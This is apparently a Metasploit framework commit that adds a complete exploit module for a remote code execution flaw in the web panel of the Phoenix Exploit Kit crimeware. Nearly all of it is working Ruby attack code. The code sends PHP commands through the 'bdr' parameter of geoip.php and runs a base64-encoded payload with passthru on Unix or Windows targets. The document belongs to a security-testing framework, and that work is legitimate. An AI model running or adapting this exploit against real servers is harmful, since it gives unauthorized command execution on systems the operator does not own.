Land rapid7#7220, Add Phoenix Exploit Kit RCE

Author: wwebb-r7

modules/exploits/multi/http/phoenix_exec.rb

@@ -0,0 +1,83 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Phoenix Exploit Kit Remote Code Execution',
+      'Description'    => %q{
+        This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The
+        Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
+        presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which
+        then silently installs malware.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'CrashBandicot @DosPerl', #initial discovery
+          'Jay Turla <@shipcod3>', #msf module
+        ],
+      'References'     =>
+        [
+          [ 'EDB', '40047' ],
+          [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
+          [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'Space'    => 200,
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd'
+            }
+        },
+      'Platform'       => %w{ unix win },
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
+          ['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
+        ],
+      'DisclosureDate' => 'Jul 01 2016',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
+      ],self.class)
+  end
+
+  def check
+    test = Rex::Text.rand_text_alpha(8)
+    res = http_send_command("echo #{test};")
+    if res && res.body.include?(test)
+      return Exploit::CheckCode::Vulnerable
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    encoded = Rex::Text.encode_base64(payload.encoded)
+    http_send_command("passthru(base64_decode(\"#{encoded}\"));")
+  end
+
+  def http_send_command(cmd)
+    send_request_cgi({
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.path),
+      'vars_get' => {
+        'bdr' => cmd
+      }
+    })
+  end
+end